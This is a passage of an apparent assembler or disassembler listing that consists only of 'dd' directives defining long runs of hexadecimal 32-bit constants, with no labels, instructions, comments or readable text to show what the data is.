		dd 76B793D8h, 29EB694Ch, 0EBB1E4CCh, 0E3270773h, 0F3730004h
		dd 4AE2112Ch, 0EF538401h, 32EE1034h, 0FAD8D9ACh, 17DBD04h
		dd 0E7EC1D27h, 0D02D2F7Dh, 4F4C425Ah, 5C42ECFh,	0A4F6D41Bh
		dd 526AA6FBh, 7F738434h, 632D9750h, 21E8E5E8h, 0E4C11B95h
		dd 4E63F1C0h, 35B62EE9h, 484F8297h, 0AA623CFAh,	0CD39D52h
		dd 0C17088FFh, 0D66D40DEh, 0A460CE8h, 5B5B5426h, 40D349E6h
		dd 535FC9DEh, 0BD1D0502h, 803A2F44h, 77ACD40Ah,	4E216855h
		dd 9A4D3269h, 55AB8B57h, 74D31669h, 0B8276940h,	4B24DAFEh
		dd 0A13CE45Ch, 0B23ABD94h, 0C0BA2358h, 5F1A1C38h, 9E27884Ah
		dd 0FFD4C16h, 7B9B9040h, 0B8B85C7Ch, 0AB5D2480h, 1A8BADB0h
		dd 0B7C01C7Dh, 0EE4FBC8Eh, 70F0C189h, 0ACBEA29Eh, 0C24752BDh
		dd 68C6B4C2h, 9CF889ADh, 2AAF3D3Ah, 0DBBDBCF8h,	7A92BE20h
		dd 0AE655254h, 0CDEB84A1h
		dd 43B12AF1h, 5D3C8BA8h, 2C2CED4Ah, 218E6F2h, 0E6535EBDh
		dd 0F3E329CFh, 805954DFh, 574F3EDCh, 364AD7F4h,	0B734D338h
		dd 0CA390752h, 0B3F29E43h, 33F09CD7h, 0F63C0135h, 0EF682F89h
		dd 14E0266Bh, 41F57FFCh, 0F6D42F92h, 0FDA704BBh, 0B05040D9h
		dd 0DAC8FEA5h, 0BF616C04h, 6072A03h, 582588C6h,	0B77D29B8h
		dd 1920B8F8h, 0A854BF0Fh, 335FAECFh, 0D4AE6125h, 0E147C7B1h
		dd 682EA620h, 0BBAD778h, 6A5CCFF7h, 60A8E581h, 0CB4049E3h
		dd 4CBD6636h, 713E2331h, 0D1652D06h, 3A0F10EEh,	13129A30h
		dd 0C080331Eh, 0E98BEC10h, 25219EFBh, 0CC0077F0h, 0BE0F3164h
		dd 5B06658Dh, 7A56A14Bh, 0A13027A1h, 972C12C4h,	9116EE5Bh
		dd 0FB5DD3BEh, 20053DC1h, 0A0210BDh, 3FE97664h,	207BCC2Dh
		dd 292CEA4Bh, 6B12DFD3h, 0A67EE2F1h, 0AA8F1089h, 3568050h
		dd 0F71A9973h, 13F24ADAh, 8240F8C9h, 4626766Ah,	440615Ah
		dd 0CAD1986Eh, 0EEF9064Fh, 1466E9A0h, 45313A9Ah, 0CC851532h
		dd 70C27B81h, 8239563Eh, 0A417630Ch, 819D31Ch, 0BA01518Eh
		dd 0EBF1A22h, 0C560AE3Eh, 927AEDE9h, 40C53D3Bh,	0BF256C00h
		dd 2D1AB166h, 8F3A6113h, 707E6E0Bh, 643CB1EDh, 65F81383h
		dd 62D890E4h, 72285216h, 668C85Eh, 203FB007h, 2D5F033Eh
		dd 4D614AD7h, 264325A8h, 281C7F58h, 42EB0705h, 0F45F5E11h
		dd 9DFD2FCh, 9C76466Fh,	96884409h, 293B7CFEh, 39BF5AFAh
		dd 328F24FFh, 9BCEB14Fh, 0F5BE804Ah, 0EF4B0DAFh, 700302ABh
		dd 0C75D200Bh, 14E904A4h, 1AD9EA10h, 81EFB460h,	2E74D95Ch
		dd 81C06194h, 4E981633h, 0F38BFB29h, 0A96FE909h, 5FA3CED5h
		dd 82D3359Eh, 0E5FF914Ch, 2D58174Dh, 8AB26ABFh,	17B4B3D2h
		dd 0DC2DCE4Eh, 0C388988Bh, 0B25F4B62h, 0A382D5E6h, 18D56C99h
		dd 5FF433D6h, 1076CEFEh, 212E4319h, 0B062CE3h, 8800DBF7h
		dd 4B9D238Ch, 0ACDA312Eh, 0BA006A10h, 7DEE4748h, 2612E281h
		dd 2EB0C54Ah, 0C96A120Ah, 2F48E134h, 8D14E613h,	0C9325EC7h
		dd 1F25439h, 0A8478D2Dh, 90ADEB3Bh, 0D5F75B33h,	0DFDBF3A0h
		dd 173EB73h, 98A966BDh,	23D5097Ah, 3571468h, 36F06BFh
		dd 21496B9Bh, 9DD9422Dh, 9A742587h, 5F0D3422h, 0BF6A2490h
		dd 884C8482h, 0B36AC5E1h, 74EF250Dh, 122C2631h,	4F6DEC3Bh
		dd 4C4A9EAAh, 0C95E30A9h, 0BD011068h, 2A1AB098h, 45E697h
		dd 0E06756B8h, 7E8C166h, 6A372D03h, 0DAE90E6Fh,	9F7C7AC0h
		dd 4C01A3A2h, 7DE95900h, 929B9A90h, 0A95E95E7h,	7495783Bh
		dd 0E5D18B5h, 9E2F068Bh, 0E41A7736h, 65CEA300h,	0E97623A7h
		dd 32B78D6Ch, 17177E46h, 0D1F20150h, 44A0DEDh, 8C494C81h
		dd 3AACAD3Bh, 586809C8h, 2409E44Bh, 6BE2BD4Ah, 3E690475h
		dd 2A919DAAh, 0F9F40BB9h, 1CB59232h, 49C7EE20h,	0EB0269B3h
		dd 6039190Ah, 50E6E140h, 0E9E11204h, 0CB95B635h, 0F81D1684h
		dd 2CFF4AFCh, 0F603C7C2h, 521B7135h, 0E2D29CE9h, 27475BFh
		dd 3D88F826h, 0A7782750h, 733BCD80h, 0FC45A82Fh, 648F02F4h
		dd 6F62377Ch, 7087AB7Dh, 0D46C2683h, 1C5DA539h,	0F7662C74h
		dd 97680540h, 0C4E6AB69h, 0C477A173h, 503DEA2Fh, 0B4EA2504h
		dd 39C23469h, 80D3F743h, 935851A7h, 73DFB235h, 3490281h
		dd 0AAE93211h, 5D042D76h, 9FBC383h, 655D37A7h, 6C9E2FA2h
		dd 0DDB9F0A8h, 885976C5h, 8C5B5EE2h, 0C84E30D6h, 0BAD634BFh
		dd 25DFABB2h, 4E276CFDh, 4CC2BA53h, 0E98F8304h,	2D6F0445h
		dd 81F706A6h, 3F847FEh,	68931786h, 2C4FA798h, 0B024D7CFh
		dd 4BEF5B25h, 7FB6097Dh, 0CF30245Ah, 78BE30C8h,	53D20D7Ch
		dd 0FD0B5CBAh, 45312540h, 68F4BB0Dh, 41075AA9h,	9B20D408h
		dd 6E25ED5Bh, 7D41E309h, 6CE08172h, 6877DE70h, 31324Fh
		dd 5A96BE78h, 0AB728466h, 2E2807A4h, 1090C208h,	68FE7B69h
		dd 204E202Ah, 2841B107h, 0E7F759C8h, 0D875CC27h, 5FDB30F1h
		dd 0AA48847Eh, 0C321E5CFh, 70B0E906h, 0F53BED2Dh, 7E0CA7FBh
		dd 165DA407h, 339CFFAAh, 0A1616101h, 28FC349Dh,	0F6800E89h
		dd 1ECE6676h, 0F8C3790Ch, 7B06C501h, 0F0D6E404h, 0E2E52C70h
		dd 0A895E5F7h, 88A62F0Ah, 2C0E67CCh, 0BDE82862h, 81089926h
		dd 0FEBF1247h, 97290BB0h, 5DF323C8h, 68506CC7h,	2D0B760Ah
		dd 965F60h, 3D029290h, 12DA205h, 5C062FEh, 91AB5F08h, 6F0DBA40h
		dd 0A0575F8Ch, 82BCF5FCh, 5446157h, 0F5EBB56Fh,	0BE462446h
		dd 0C1369C0Fh, 63EC374Eh, 0EF5E135Ah, 613B552Dh, 3172ADBh
		dd 0B5C5E31h, 2BC0DB6Fh, 74B05450h, 0B30EE063h,	75CBDAB4h
		dd 8518EDDCh, 25E91606h, 107F1D0Bh, 805E2807h, 0D49FEF81h
		dd 52829671h, 25290007h, 0BA624146h, 0E0FCC80Bh, 0E86E6317h
		dd 1D2242E9h, 89D6317Ah, 945DBB77h, 0BC559FBBh,	70E92444h
		dd 4165A728h, 8D18D7A5h, 7A1310D1h, 81C2292Bh, 0BCD88C6h
		dd 0A742862Ch, 0B66802EBh, 0B8B418FFh, 7C1F0066h, 0E5A8057Bh
		dd 3114C3F7h, 4BF258C7h, 25835828h, 0D5E902EEh,	0C119A7D8h
		dd 0EF6053C8h, 2310670h, 0B74352Eh, 7ED90B97h, 0C55F895Ch
		dd 0B8743F90h, 0B2FBF330h, 492C1A55h, 0EE282E01h, 87E91308h
		dd 0D5BBB471h, 0B20C6D62h, 0C6F47735h, 6110F20Eh, 0CAFE99C2h
		dd 0F0940AB5h, 0DF605B1Fh, 6F6DE56Fh, 33763Ch, 0FB4E74CDh
		dd 138CE979h, 84BE59BDh, 0EE65E568h, 484C578Ch,	82D30FCEh
		dd 0F72B01E0h, 0B95DA7B8h, 34BB70C3h, 0DA58A27Dh, 6CCF380Eh
		dd 0C2B7018h, 46B21344h, 1AC0EF00h, 51683E82h, 0A346BD7Ch
		dd 5913F031h, 0EC729752h, 2DD67210h, 0BDE65EBDh, 149F0418h
		dd 0E54CC158h, 8441126Eh, 9E0FE434h, 2586D5F0h,	0DE0FDFC6h
		dd 0FE94567Eh, 610DD3Dh, 0BF59CB21h, 0F5404BC2h, 8F26239Eh
		dd 0B6028342h, 5710E020h, 0E6134D46h, 0EA00FE1Dh, 6251F6E1h
		dd 1CE92C31h, 0BEF65BE9h, 813A704Dh, 0E7D4206h,	0FB610CF4h
		dd 985CF3Ah, 0F23539E9h, 4652059Dh, 0B92960ABh,	32EA0038h
		dd 0D8F74931h, 357D0E25h, 15672C40h, 0D7D85905h, 0C42CB2B4h
		dd 535558E1h, 181FBDC8h, 7C7C4852h, 422FF93Ah, 60A2E2DDh
		dd 96F249C3h, 0C14789F3h, 3B622EFCh, 6202D436h,	8FE8A82h
		dd 11B1E153h, 0F8421897h, 14EA0ED4h, 41BFA09Ch,	32990992h
		dd 5028F731h, 7D344209h, 46BFB296h, 6962902Bh, 0A5F59DF4h
		dd 0E3EA1292h, 3B4CC5CDh, 1117B6FEh, 61A14D3h, 8B6E4CAFh
		dd 0E375120h, 296135BBh, 31EB8122h, 1EE0680h, 4A5EAC14h
		dd 804F6E5h, 0F4310481h, 0C72DD47Fh, 6A356141h,	0BA836A56h
		dd 2D060048h, 20DE12F9h, 0DC07FD05h, 6AE9CA73h,	3FD48EDDh
		dd 1C22EBAEh, 26C0680Eh, 349EEF13h, 0C2685F0Bh,	0A82F95DAh
		dd 264C4848h, 0A1B98092h, 6B7E3212h, 86C16849h,	0EB106DA8h
		dd 1AE90485h, 8EC1D0B4h, 7C0FC43Bh, 601B9005h, 0E5BB537Bh
		dd 0A04E7275h, 938788Ah, 0E2E9492Dh, 8D68DE21h,	0C09D6C7Ch
		dd 7D294E2Dh, 4EB00C1h,	4116CB81h, 0BBA1749Ch, 4DB6208Eh
		dd 63C120F9h, 56300404h, 8BF808E9h, 0BAF36635h,	0A58B87B1h
		dd 62E8306Eh, 0F3730714h, 0B6BF571Dh, 0FE0E508Bh, 0FF03928Dh
		dd 5FCFF400h, 0E9FB299Bh, 9209A96Bh, 31F36200h,	0C13C2276h
		dd 0D253A5A0h, 8C5F0018h, 0BDC24E20h, 0A2FED28Dh, 0C9529440h
		dd 0D2087D0Bh, 45D40C08h, 670A68B1h, 27182B3Bh,	4174654Fh
		dd 48C711ECh, 526D3009h, 221723BAh, 1A881DD0h, 87FC054Fh
		dd 0FC99E928h
		dd 9D995B89h, 738B8600h, 0C56C4CBEh, 99155900h,	0FAE94F5Bh
		dd 0EBF3CF5Bh, 5336310h, 0B20AE1BAh, 0A6F28200h, 0BF321946h
		dd 0DB2D117Ch, 64BB8BC7h, 6EBA1E19h, 0B82979E4h, 0B0652554h
		dd 67F810D5h, 9E81824Dh, 0F04E6370h, 5E4EF101h,	72883CFEh
		dd 460D549h, 0EDC099B5h, 0CB453FC1h, 108FB72Eh,	926CFAAEh
		dd 0AC3CA0B2h, 1C2ED2FEh, 0DA99D187h, 6C7D1142h, 0A180803Bh
		dd 2AF5817Ah, 785E9016h, 0AA5A0AADh, 5940A506h,	0F2B90489h
		dd 0EA4DF917h, 639BA4h,	29993398h, 0BFE7E9F8h, 0C4807AC0h
		dd 0F4E530C2h, 0A2A44B55h, 685104C4h, 25F36DFEh, 81738600h
		dd 0D4DE959h, 2BC694A9h, 9A045EE5h, 0E96AD1AEh,	3FC62B9h
		dd 175BB7EBh, 0EFC9D97Eh, 0F9C53980h, 1AFB06Ch,	0F34FEB7Dh
		dd 2E1067F9h, 0B7DE403Dh, 0A702F8B9h, 636A3943h, 0E8455AA4h
		dd 0A082ADD6h, 90F7AD63h, 5E2EAD5Eh, 0D3533AC5h, 66F8D2EFh
		dd 0ABD10E83h, 0F135C205h, 0F2EEF339h, 4BE05A75h, 0ED3E4491h
		dd 9204B61Ch, 932CE80Eh, 0E0926516h, 195E55C7h,	16D1DD8Ch
		dd 0E6B69C5Ch, 5B606F9Ah, 8044B412h, 798670EAh,	57681FE2h
		dd 2FF36739h, 0E6D9408h, 0EFE541B0h, 4727EAF9h,	5BAD80F3h
		dd 78FE10h, 133B49Ch, 0FA30E6BFh, 64852E4Eh, 253FB908h
		dd 66424EB2h, 0C3F457h,	5875EA81h, 0D6956602h, 980820F7h
		dd 0C7B85D32h, 63475A26h, 15BA25B0h, 45E522D0h,	0B2ACAC08h
		dd 97045808h, 27D99655h, 0B789C3E9h, 34073F00h,	42045A83h
		dd 54956855h, 8D8033ABh, 522D21C5h, 0FD203E40h,	0F6680737h
		dd 705B926Fh, 67EB4F58h, 0D7D80616h, 2DD22020h,	90D72C81h
		dd 817CC24Eh, 0C0774458h, 0B8F6B3Dh, 20A8FCB5h,	7C1CC008h
		dd 501CFC25h, 5934AAA0h, 76644725h, 0CECB40D8h,	704B026Dh
		dd 0EFFF40FFh, 89DF14E5h, 835BD807h, 0E0F401C0h, 1048CEC1h
		dd 35F8E901h, 0D9E26A86h, 0C4B181D2h, 4B96F68h,	524311C8h
		dd 0ACE45BAAh, 0E45C2A7Eh, 0C2EB807h, 70A21B8Fh, 0B6EC5D4Ah
		dd 26C41130h, 985FFD21h, 1B559F4Eh, 0A2E9D80Bh,	12F7B199h
		dd 3E85B116h, 0CD4E1EE7h, 0FDA33E97h, 2A00D993h, 0C2BFD013h
		dd 2FA31F6h, 48CA1727h,	832B3D42h, 0FA4AADDAh, 69A3025Fh
		dd 0D9850FDFh, 9FD5A3A9h, 0EDA0348Ch, 87DF9DBAh, 7679D0A7h
		dd 217D490Ah, 0CCFDE9FEh, 0BAF39D53h, 2E77081h,	0F8186D68h
		dd 425D5EF5h, 260F7E4Dh, 59775259h, 0E95C58AFh,	43922178h
		dd 125CE758h, 9A802A68h, 5F0B05A3h, 0BE239024h,	710C527Fh
		dd 0A207EDC1h, 2CAB932Dh, 0FEAC16E9h, 80893699h, 0E65F8C68h
		dd 0B9CF231h, 5D30656Ch, 7FD34700h, 0EDEC320Fh,	0A5D4C339h
		dd 0FBF8E8h, 1604B70Dh,	7B216808h, 0CE80A5A8h, 825F599Fh
		dd 47944AC7h, 48E9F4E8h, 2A73311Dh, 9E8EF180h, 5C01E580h
		dd 834EF8CBh, 0AEC55929h, 0AE4AABCBh, 57514270h, 0F78E2FE9h
		dd 53C4FA59h, 0C0BD5082h, 4FE933F5h, 0A1E1840Ah, 7DD29DE1h
		dd 31592D07h, 5D9529FEh, 45BD5A1h, 0D0F73539h, 0C8752859h
		dd 2F5FEDE5h, 1F96F9F2h, 6815A034h, 1285552Dh, 0E907E6Ah
		dd 0E5A86BCDh, 55B7560h, 3120ABC6h, 0BA1EBAF3h,	5E132156h
		dd 20A185AAh, 698435A9h, 5610FE2Fh, 0B8538978h,	0F03141B0h
		dd 3EA495A5h, 5E6E2803h, 530C040Eh, 8368A93Fh, 0E54B3405h
		dd 900644AEh, 0C680030Fh, 74BFC299h, 0D8712799h, 116E2E8h
		dd 0B47477BAh, 0AD25E0ECh, 2D1E0577h, 3BD6144Dh, 0E2FA1F85h
		dd 0B990989Bh, 0F9A792A8h, 82D78A70h, 5D94F8FDh, 0B41C92BFh
		dd 7E71394h, 27AD2C63h,	4F80397h, 63CCC0A5h, 0FC6429E9h
		dd 0E2AA452Ch, 0E50976E3h, 0D8F50482h, 282C14C6h, 0C5029856h
		dd 3CB048DCh, 0D358B203h, 0E47A486Fh, 387E0841h, 435F2E51h
		dd 1A2C8F8h, 5041545Fh,	0DA4E61E9h, 521B95A3h, 37F09D3Ch
		dd 0A95E0558h, 444F44E8h, 0FF4C3C27h, 31109443h, 0B8FCD1C8h
		dd 1B6246ADh, 691E575h,	22A768E9h, 4F045D4Bh, 9FE4C579h
		dd 28A6401Dh, 85B7C378h, 0D7FA15E2h, 58E323ACh,	80C0DCAAh
		dd 8781C37Eh, 973EF93Eh, 851A44AEh, 965DA891h, 0ACD312BFh
		dd 6DCB0482h, 89BA2ABBh, 9411A76Bh, 0DA5C9F75h,	85B70D1Ah
		dd 0D8BB5F9Eh, 131E74E4h, 0A9661EF6h, 0F80BA528h, 6251792Bh
		dd 32827747h, 0D509D48Fh, 6C0B9E45h, 73AFFC1Fh,	3B5899F1h
		dd 8104FDE2h, 0E8175DC9h, 614735Dh, 48FD8698h, 7E0F0BF3h
		dd 5D688975h, 72F6BFF8h, 3C40A86Ch, 0CA7A97C3h,	29200C9Ah
		dd 0DAD98B7h, 0BF4AACD8h, 0ACA42A56h, 24E94F01h, 0BD89C06Ah
		dd 3A7C9214h, 0D3097B4Bh, 0CA847501h, 71EAC2F5h, 0DC635907h
		dd 0BD0C2F02h, 1E681F5h, 11305DEEh, 0EC9C4F44h,	15FDDD86h
		dd 7690A65Ch, 7F07F795h, 9F8FC95Ah, 53F13296h, 4B6C1CDDh
		dd 0B49AF21Ch, 75F70C82h, 0CE7FE0E6h, 0B78082AAh, 0FE2795E8h
		dd 20FB5648h, 0DE681CE6h, 0B87D2757h, 0CBCD01C3h, 9A704BECh
		dd 2FBE5A60h, 0A1B6B782h, 316B3188h, 613DB518h,	569970F2h
		dd 44325D95h, 553962F5h, 75699F51h, 6062F559h, 431DE98Ch
		dd 0C9353380h, 53554C9Ch, 33524501h, 6C642E32h,	444180C7h
		dd 5350E656h, 4E1F0D49h, 6A4C9C54h, 0E9018D0Ah,	0A083786h
		dd 0A5246874h, 0F305C92Ch, 0A90AFDD9h, 0C23D0A9Dh, 21A6AC11h
		dd 0A7C908DFh, 4484D590h, 42CB48A8h, 0C124A947h, 0B711B322h
		dd 3824C410h, 1BE69E00h, 201B953h, 1ED60070h, 3EF690E8h
		dd 1400AEC6h, 1AEA6E38h, 0E08C05Ah, 27DF79FDh, 48009ACEh
		dd 361CB6BAh, 0D281D07h, 0B2479C21h, 8A164D71h,	7EC7F4h
		dd 5C18DACFh, 2E992445h, 42907500h, 5201DF88h, 0F4800784h
		dd 0B0786F0Ah, 46F5A4EDh, 0E9398DECh, 9B918BF2h, 0AB5C8035h
		dd 0D988C1h, 499551E4h,	0EF5383FCh, 35343814h, 0F1E800F2h
		dd 6E1D66BBh, 1B100CBFh, 9D2AD71Ah, 0D63B3200h,	0FE1FA1AAh
		dd 0D18003EBh, 0D771FF03h, 878DE3C8h, 49E8D80Fh, 0CB174244h
		dd 1376DCh, 9A3B92Fh, 0BE00B051h, 0DB976C24h, 7D8941h
		dd 5BA961FBh, 0D9A37F19h, 0C5AF5500h, 0E492732Bh, 5E4E74Ah
		dd 4FB3006Bh, 88A18721h, 2250A293h, 801E1595h, 799F56B0h
		dd 6E4019C0h, 38967D5Fh, 9009B85h, 4F3937CBh, 0C300AAFFh
		dd 706F67CEh, 0F305822h, 7D8E9FD3h, 0D1F9D960h,	0B61E2444h
		dd 19439C4Bh, 0F58184h,	1D02B184h, 7621625Eh, 30251600h
		dd 289BD605h, 814F03BAh, 0BFFDF466h, 0F4832C0h,	0B1C34100h
		dd 0F7352CC7h, 5A91000Bh, 14604DCDh, 7C038293h,	6A8602EDh
		dd 47B6A15Ch, 4E9A9550h, 0BC74000Eh, 0D78F2945h, 0AC00462Ch
		dd 0CC6612F4h, 0E84F014h, 0C0440EEAh, 0DE963040h, 0B53E4F27h
		dd 4049FDh, 0CF28CE4h, 0A937FEF3h, 23DD8895h, 3A5CBDCh
		dd 149F63BBh, 42D8E8F2h, 220F6F7Dh, 20F90A75h, 665981FEh
		dd 950797Ah, 5D80D2E7h,	43B8C526h, 56390B00h, 0A166C671h
		dd 0D4030087h, 7F76FE06h, 0E96F1F1Ah, 422E4052h, 7333AE93h
		dd 0DDC128A7h, 43F30594h, 806FD1EEh, 1E1DD7F1h,	30635100h
		dd 0F10237B7h, 3C3109E0h, 7A01451Bh, 60A5612Fh,	570A4E7Ch
		dd 77CB7AE5h, 13D4C980h, 0A0C25D47h, 3D234D5h, 955AFA6h
		dd 0B87F059Bh, 1FFE880h, 27604A5Bh, 80B28378h, 0A39A05FBh
		dd 0CCF186Dh, 50432B20h, 7900E478h, 0C521E5CAh,	0F066BCEEh
		dd 0A4F70094h, 6EE9D776h, 0B5006D77h, 0D989234Dh, 0A3697E84h
		dd 6E85C85Fh, 454E002Ah
		dd 7581E550h, 6F00DA22h, 6E1AF5Eh, 0FB02BA54h, 338BF0h
		dd 5622E4CFh, 8D343F45h, 15645F03h, 386FBBh, 0FF5D8BC7h
		dd 1A54AD65h, 3BC88006h, 1FA29D37h, 0CE05BD57h,	3562DB75h
		dd 984053B1h, 400036CFh, 61F9EEA6h, 1F30FC7h, 0E4FDE37Dh
		dd 202346EFh, 14EE790Fh, 0B4820084h, 0F12F2652h, 75015F11h
		dd 0E0DDD0F8h, 99407F4Eh, 484D8064h, 79010F10h,	241B59ABh
		dd 5B5E7C13h, 3AA764E0h, 61852DD9h, 4764D1C6h, 31F05BB6h
		dd 0D89990E0h, 0DF00C9A7h, 42F13A8Fh, 0A06E594Dh, 0ECF35EBDh
		dd 1C1100C0h, 28998F19h, 400030D2h, 0A6DCD33Eh,	590851h
		dd 6F5AC264h, 0A28CF72Ah, 0A3172318h, 38A9D968h, 3031CAB6h
		dd 2883D0A6h, 0AD0826E2h, 0A18F8C8h, 0E85AD9Dh,	730EF862h
		dd 574C6B80h, 92C05B9Bh, 0BF0A914h, 0BC874CC7h,	64FA400h
		dd 0DDAA857h, 0C8634D01h, 9AB26CD1h, 1C4AB730h,	0FEA867Ch
		dd 6809765h, 9F949D0Fh,	0BE964Dh, 0C3ADBE29h, 9D51E73h
		dd 5F4F3126h, 0A510AE80h, 0DA0F28F6h, 60492BD9h, 6119B3C4h
		dd 0BCFB03A1h, 67E47FDFh, 6C0EABE0h, 18668700h,	93EAF001h
		dd 26C198FDh, 26E05CB6h, 7A6E80FEh, 719048E2h, 0AB63FD09h
		dd 3E212058h, 79E8A03Ah, 0E2BE001Ch, 4709418h, 5348B26Ah
		dd 16D1006Ch, 10F2AA44h, 0E0C60260h, 2463D2C7h,	0BF541D40h
		dd 0EA3FEF00h, 3DFDF2A1h, 437ED9h, 9A681782h, 0C397504Dh
		dd 2D7D3EF6h, 92B1A800h, 0A49923C4h, 79B291h, 0FBAABB26h
		dd 0A79ED82Dh, 2006A90h, 240E4C9Bh, 1E3A36CCh, 80691829h
		dd 88230D6Bh, 0DF753791h, 40474D09h, 9A7802Ch, 40A063AFh
		dd 0F501F303h, 0EC15CD67h, 0F934E882h, 0B94D0005h, 976D25BFh
		dd 670043DDh, 89EB199Dh, 0CE37EFh, 91560EA8h, 8B772FC9h
		dd 654BE512h, 0F7DE070Ch, 9A7CEEE1h, 55190B2Ah,	9800D06Bh
		dd 0C8B2C242h, 0DC362D13h, 8F20800h, 3C70638Bh,	3448BB73h
		dd 8F3EED02h, 0A7489B9Ah, 0BA12B11Ch, 0A9456766h, 9AF4E6Dh
		dd 0CA10A59Ch, 0F960166Bh, 608E9B7Ch, 0EF33AC1h, 0CADB7601h
		dd 2468261Bh, 0AD095C9Eh, 1A97DB8h, 0E0D7429Bh,	0F6C046F4h
		dd 22330BCEh, 9A01B688h, 3011FB5Fh, 7B1D20DAh, 0D045C81Dh
		dd 36D017DBh, 787006EBh, 0EE2248FBh, 39A45060h,	5C008554h
		dd 94D3453Ch, 1D06FDDh,	0F30441B5h, 0F8CE553Ah,	0D3F90A2h
		dd 0CBC000B8h, 0D282BE53h, 0FFE90054h, 62115AAFh, 0C41F136Dh
		dd 2C07CC5Ch, 14D399D5h, 0D7A5B803h, 7D922Fh, 0FD738FCDh
		dd 0ED81804Eh, 53ECF600h, 0BF57F85h, 3B790070h,	0EEA3A9C7h
		dd 120496CDh, 9DB5015Bh, 0F00713A8h, 0C0CA64F8h, 2DE57FEFh
		dd 1C9CD63Fh, 2240BC4Ah, 40DA9A6Ah, 516E864h, 34EC86EEh
		dd 537380D1h, 2C12C694h, 0A0008E74h, 0E1544962h, 0D6C5A025h
		dd 7E714841h, 788937C8h, 21F2A00Dh, 3E28367Bh, 6080C305h
		dd 0D3CA654Fh, 8005295h, 2931B66Eh, 0B1BE73Fh, 0A873C2B7h
		dd 1C442B83h, 697A8BD0h, 0B3386300h, 0B7116A85h, 0D931606Bh
		dd 5EF86484h, 135BA602h, 0E842C179h, 502808h, 6E06FEB6h
		dd 0AA2EF8D4h, 7F85A49h, 0E79F393Dh, 0FA484009h, 0F6DC0376h
		dd 264DE8DDh, 0A072D83Bh, 7BCD070Dh, 50A564B9h,	0E4204568h
		dd 0ED48FF00h, 5A4FFE0Fh, 9C7A5CDAh, 0C170DB00h, 1A552D12h
		dd 6C984A1Dh, 7E802C7Dh, 0E4543F00h, 553AFEDh, 7AD3831Dh
		dd 33348031h, 0CE003D27h, 6B7D89A4h, 597A820h, 4D281A0h
		dd 1529D102h, 968C40CCh, 0E907412Bh, 0DCAA591Bh, 0FB554C90h
		dd 0E5786199h, 0E81FE523h, 0B20C0BBBh, 3D5FD6CBh, 1FE7B860h
		dd 30ED4035h, 7D67D212h, 93DD2500h, 63A270A9h, 57AB4C56h
		dd 20150AC3h, 2C974116h, 0BBDC7303h, 715BE0EDh,	0A1DF01D6h
		dd 0BD750F61h, 0C89E8145h, 5A4D559Ch, 1E0030h, 57B63FCBh
		dd 47A06EBCh, 6802130Bh, 470BCFh, 0A7C93921h, 9F6500BDh
		dd 545DEBD5h, 0F9006186h, 19EFE202h, 26ED87E9h,	205CF35h
		dd 21E42242h, 0CB803B62h, 0BF4F9A84h, 0B0B3CC02h, 0E0FEB5A8h
		dd 48ACA3A5h, 4403086Eh, 0C23F788Ch, 162721CFh,	2C9A722Ch
		dd 3145B3D9h, 769EFE00h, 0FCE68Eh, 39595061h, 0EBE08F46h
		dd 6D234A60h, 7CD0B02h,	793B6937h, 0B1E2F01Ch, 4E0006A0h
		dd 53D2BCB4h, 0F448C824h, 9285019Fh, 7DF70DDBh,	0F9BAE886h
		dd 7E680A00h, 9F38D2E3h, 84330CD1h, 6A79F763h, 80D62C3Ah
		dd 0CF482E07h, 62691E0h, 31D32B15h, 98009643h, 533D1DCAh
		dd 0A1C1B8h, 0DB29F7AEh, 9E64A299h, 0F63F340Ch,	0E63E47h
		dd 5EA92B68h, 0A00B0D2Fh, 4434D200h, 14AEBF5Ah,	59AD007Bh
		dd 18EA281Fh, 1E006E58h, 0DCD180C9h, 0E6A4C3E2h, 266A98A7h
		dd 14F9DF2h, 0B92726B0h, 867C20DCh, 2AD42E26h, 6BE4B880h
		dd 0FEF0E275h, 321C012Dh, 38CC08B3h, 8780C627h,	902A46BCh
		dd 723ED873h, 0DFBB806Eh, 21CBB02Eh, 3AFA00D1h,	0D8C2D304h
		dd 0FB78F09Fh, 1758E909h, 0FFB1007Dh, 66E0D1h, 7EBCB320h
		dd 8206F088h, 9F756800h, 0DA730D63h, 48FA7E0Ch,	0C4132494h
		dd 6E49003Eh, 0E62B292h, 9680F804h, 35C8EAFBh, 9C445990h
		dd 2E820070h, 0ABB137D6h, 991369C1h, 5B43EDD7h,	0F03FC61Eh
		dd 90FF54Dh, 0E1237B65h, 0B551A102h, 82819E40h,	53AE92C0h
		dd 9D16311Bh, 0FCC9A1DBh, 29F38891h, 3810E2BEh,	0DCF42B15h
		dd 7573BD70h, 12065EA4h, 0E11BFCD0h, 2B57151Bh,	32606ECh
		dd 8F667D72h, 69D30841h, 450A1A9Dh, 63964557h, 0FBFC8B5Ch
		dd 9AF1F5B2h, 8AEC60D1h, 9B8A90Ch, 7A03BCACh, 0C1E000C5h
		dd 0CA4B7A5Ah, 2A003E16h, 2B308CDBh, 136288h, 0B4BA6B0Bh
		dd 72E17B6Dh, 0DC16570Eh, 6E8A642h, 7EF1006Bh, 31990C49h
		dd 17DC880Fh, 0FD135913h, 9FC19F03h, 33140175h,	0A34FFD2h
		dd 0EB89D4BEh, 0E95B3A0Ch, 0B93514h, 0D4CB8056h, 70BB4E91h
		dd 0F810A001h, 205A4312h, 242270h, 0E3F38136h, 660C71B3h
		dd 5608BF18h, 90EBE914h, 0E7E9D4h, 7A4D6253h, 4068A6DEh
		dd 3D264260h, 32DD69h, 0C65FAFBFh, 111C8954h, 3D0F573Dh
		dd 1EC5FC2h, 81F30E61h,	61A771FAh, 1785E48Dh, 0E801B7A4h
		dd 432CE2D5h, 178024E9h, 62EC2544h, 5600C630h, 13A8F47h
		dd 5FF4B42Ch, 80551CE9h, 1C16A20Ah, 30732755h, 0D2E69300h
		dd 0AE6964A7h, 0DE4A0026h, 3707F5BCh, 0BA077651h, 1DF1A06h
		dd 2713E81h, 31F531F0h,	7084FEEh, 3975E05Dh, 70333EEAh
		dd 0A26D210Fh, 1076377h, 2098711h, 403F82FAh, 0EEB3211Ch
		dd 0B7111360h, 3008C10Fh, 5B8139B2h, 0DE3041C5h, 0CBB11122h
		dd 0B4381032h, 9F3101FDh, 0F7D87147h, 0D5499009h, 0B11D2322h
		dd 5029068Bh, 39F38401h, 8A10121Ch, 0D63FF0B2h,	0A5A1842Dh
		dd 0B5C36797h, 0AE00F23h, 84B46692h, 33F25601h,	8316FE82h
		dd 3C597A10h, 744698FFh, 0EE130003h, 0CE1BC188h, 4754A40h
		dd 8E60F367h, 253B3E98h, 0C6D1B078h, 0C1F9D910h, 0A3195A1Fh
